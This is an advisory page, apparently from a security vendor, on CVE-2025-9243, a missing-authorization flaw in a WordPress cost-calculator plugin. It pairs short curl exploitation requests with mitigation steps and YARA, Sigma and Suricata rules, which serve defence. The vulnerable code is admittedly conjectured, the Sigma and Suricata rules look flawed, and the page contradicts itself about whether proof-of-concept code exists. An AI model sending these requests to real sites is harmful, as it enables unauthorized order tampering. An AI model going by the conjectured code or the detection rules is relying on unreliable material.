CVE-2025-9243
Executive Summary
CVE-2025-9243 is a critical authorization bypass vulnerability in the Cost Calculator Builder plugin for WordPress, affecting all versions up to and including 3.5.32. The flaw resides in the get_cc_orders and update_order_status functions, which lack proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to access order management functions and modify order statuses without authorization. The vulnerability has a CVSS score of 8.1 (High), indicating significant potential for data integrity impact. As of this report, no patch is available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, suggesting low exploitation likelihood currently, but the risk remains high due to the widespread use of WordPress and the plugin's popularity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Cost Calculator Builder plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs only Subscriber-level access.
- User Interaction: None (UI:N) – No user action is needed.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: High (I:H) – Order statuses can be modified, potentially affecting business operations.
- Availability Impact: None (A:N) – No denial-of-service impact.
Threat Level: High. The combination of low privileges required and high integrity impact makes this a serious threat for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability is a classic Missing Authorization (CWE-862) issue. The plugin's get_cc_orders and update_order_status functions are exposed via AJAX actions or REST endpoints but lack proper capability checks. In WordPress, functions that handle sensitive data should verify that the current user has the required capabilities (e.g., manage_options for administrators). Here, the functions only check if the user is logged in, allowing any authenticated user (including Subscribers) to call them.
The get_cc_orders function likely retrieves order data from the database, while update_order_status modifies the status of an order. An attacker can craft a simple HTTP request to these endpoints to list all orders and change their statuses (e.g., from "pending" to "completed" or "cancelled"), potentially disrupting business workflows or causing financial loss.
The vulnerability is present in all versions up to 3.5.32. The vendor has not released a patch, so users must rely on workarounds.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable functions likely look like this:
Vulnerable Code (PHP):
add_action('wp_ajax_get_cc_orders', 'get_cc_orders');
function get_cc_orders() {
// Missing capability check
$orders = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cc_orders");
wp_send_json($orders);
}
add_action('wp_ajax_update_order_status', 'update_order_status');
function update_order_status() {
// Missing capability check
$order_id = intval($_POST['order_id']);
$status = sanitize_text_field($_POST['status']);
$wpdb->update("{$wpdb->prefix}cc_orders", array('status' => $status), array('id' => $order_id));
wp_send_json_success();
}
Patched Code (Hypothetical):
add_action('wp_ajax_get_cc_orders', 'get_cc_orders');
function get_cc_orders() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
$orders = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}cc_orders");
wp_send_json($orders);
}
add_action('wp_ajax_update_order_status', 'update_order_status');
function update_order_status() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
$order_id = intval($_POST['order_id']);
$status = sanitize_text_field($_POST['status']);
$wpdb->update("{$wpdb->prefix}cc_orders", array('status' => $status), array('id' => $order_id));
wp_send_json_success();
}
The fix adds current_user_can('manage_options') to restrict access to administrators only.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Cost Calculator Builder plugin <= 3.5.32.
- A valid user account with Subscriber-level privileges (e.g., username:
attacker, password:password123).
Exploitation Steps:
Obtain a nonce (if required): Some WordPress AJAX actions require a nonce. Check the plugin's JavaScript to find the nonce. If not required, skip this step.
List all orders:
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -d 'action=get_cc_orders' \ --cookie 'wordpress_logged_in_xxx=attacker|...'Modify an order status:
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \ -d 'action=update_order_status&order_id=1&status=cancelled' \ --cookie 'wordpress_logged_in_xxx=attacker|...'
Expected Outcome: The attacker can view all orders and change their statuses without authorization.
Blue Team (Defender)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwith actionsget_cc_ordersorupdate_order_statusfrom non-admin users. - Look for rapid status changes on orders, especially from Subscriber-level accounts.
- Use the Sigma and Suricata rules provided in the Detection Engineering section.
Mitigation:
- Immediate: Disable the plugin until a patch is available.
- Workaround: Add a custom capability check via a WordPress plugin or mu-plugin:
add_action('init', function() { remove_action('wp_ajax_get_cc_orders', 'get_cc_orders'); remove_action('wp_ajax_update_order_status', 'update_order_status'); }); - Long-term: Apply the vendor's patch when released.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=get_cc_ordersoraction=update_order_status. - Source IPs of authenticated users with Subscriber role making these requests.
- HTTP POST requests to
File IOCs:
- Plugin file:
/wp-content/plugins/cost-calculator-builder/(check for unauthorized modifications). - Log entries in WordPress debug log showing unexpected AJAX calls.
- Plugin file:
Behavioral IOCs:
- Orders with statuses changed by non-admin users.
- Multiple orders modified in a short time frame.
Detection Engineering
YARA Rule
rule CVE_2025_9243_Cost_Calculator_Builder {
meta:
description = "Detects vulnerable Cost Calculator Builder plugin files with missing capability checks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9243"
strings:
$func1 = "get_cc_orders" ascii wide
$func2 = "update_order_status" ascii wide
$vuln_pattern = /add_action\s*\(\s*['\"]wp_ajax_(get_cc_orders|update_order_status)['\"]\s*,\s*['\"](get_cc_orders|update_order_status)['\"]\s*\)/
$no_cap = /current_user_can\s*\(/
condition:
($func1 or $func2) and $vuln_pattern and not $no_cap
}
Sigma Rule
title: CVE-2025-9243 - Cost Calculator Builder Unauthorized Order Access
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit missing authorization in Cost Calculator Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains|all:
- 'action=get_cc_orders'
- 'action=update_order_status'
condition: selection
falsepositives:
- Legitimate admin activity (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9243 - Cost Calculator Builder Unauthorized Order Access"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=get_cc_orders"; http_client_body; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9243 - Cost Calculator Builder Order Status Modification"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_order_status"; http_client_body; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Cost Calculator Builder plugin if not critical.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwith the vulnerable actions from non-admin users. - Monitor logs for suspicious activity.
Short-term Workaround:
- Add a custom mu-plugin to remove the vulnerable AJAX hooks (see Blue Team section).
Long-term Fix:
- Apply the vendor's patch when released. If no patch is forthcoming, consider replacing the plugin with an alternative.
General Security Hygiene:
- Enforce strong password policies and limit user roles.
- Regularly audit user capabilities and remove unnecessary accounts.
- Keep all WordPress plugins and themes updated.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.